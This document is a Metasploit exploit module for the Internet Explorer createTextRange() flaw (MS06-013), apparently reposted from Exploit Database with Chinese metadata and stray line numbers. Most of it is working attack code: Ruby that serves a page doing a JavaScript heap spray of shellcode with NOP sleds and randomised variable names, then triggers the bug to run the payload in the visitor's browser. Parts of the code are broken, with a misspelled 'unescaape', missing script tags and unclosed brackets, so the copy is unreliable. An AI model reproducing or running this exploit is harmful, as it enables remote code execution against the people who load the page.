Microsoft Internet Explorer – ‘createTextRange()’ Code Execution (MS06-013) (Metasploit)

Exploit Database
155 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16578/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

# $Id: ms06_013_createtextrange.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Internet Explorer createTextRange() Code Execution',

'Description'=> %q{

This module exploits a code execution vulnerability in Microsoft Internet Explorer.

Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memoryin a way, which, under

certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point

to a very remote, non-existent memory location. This module is the result of merging three

different exploit submissions and has only been reliably tested against Windows XP SP2.

This vulnerability was independently discovered by multiple parties. The heap spray method

used by this exploit was pioneered by Skylined.

'License'=> MSF_LICENSE,

'Author' =>

[

'Faithless <rhyskidd [at] gmail.com>',

'Darkeagle <unl0ck.net>',

'hdm',

'<justfriends4n0w [at] yahoo.com>',

'anonymous',

'Version'=> '$Revision: 10394 $',

'References' =>

[

['CVE', '2006-1359'],

['OSVDB', '24050'],

['MSB', 'MS06-013'],

['BID', '17196'],

['US-CERT-VU', '876678'],

['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],

['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],

['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],

['URL', 'http://www.shog9.com/crashIE.html'],

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],

[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Mar 19 2006'))

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops

nops = Rex::Text.to_unescape(make_nops(4))

# Generate a random XML namespace for VML

xmlns = rand_text_alpha(rand(30)+2)

# Randomize the javascript variable names

rnd= rand(3)

var_inputtype= ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))

var_inp= "_"+rand_text_alpha(rand(6)+3)

var_tmp= "_"+rand_text_alpha(rand(6)+3)

var_payload= "_"+rand_text_alpha(rand(6)+3)

var_nopslide = "_"+rand_text_alpha(rand(6)+3)

var_slidesize= "_"+rand_text_alpha(rand(6)+3)

var_fillblock= "_"+rand_text_alpha(rand(6)+3)

var_memblock = "_"+rand_text_alpha(rand(6)+3)

var_heap = "_"+rand_text_alpha(rand(6)+3)

var_index= "_"+rand_text_alpha(rand(6)+3)

var_maxIndex = "_"+rand_text_alpha(rand(6)+3)

var_fillHeap = "_"+rand_text_alpha(rand(6)+3)

var_start= "_"+rand_text_alpha(rand(6)+3)

var_timer= "_"+rand_text_alpha(rand(6)+3)

rnd= rand(2)

var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""

var_setInterval= (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""

# Build out the message

content = %Q|<html>

<head>

var #{var_payload} = unescaape("#{shellcode}");

var #{var_nopslide} = unescape("#{nops}");

var #{var_slidesize} = 20+#{var_payload}.length;

while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }

var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});

var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});

while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }

var #{var_heap} = new Array();

var #{var_index} = 0;

var #{var_maxIndex} = 2020;

function #{var_fillHeap}() {

#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);

if (#{var_index}<#{var_maxIndex}) {

#{var_heap}.push(#{var_memblock}+#{var_payload});

#{var_index}++;

#{var_setTimeout}

} else {

#{var_timer}.innerHTML = 100;

#{var_inp} = document.createElement("input");

#{var_inp}.type = "#{var_inputtype}";

#{var_tmp} = #{var_inp}.createTextRange();

}

function #{var_start}() {

#{var_setTimeout}#{var_setInterval}

}

</script>

</head>

</body>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end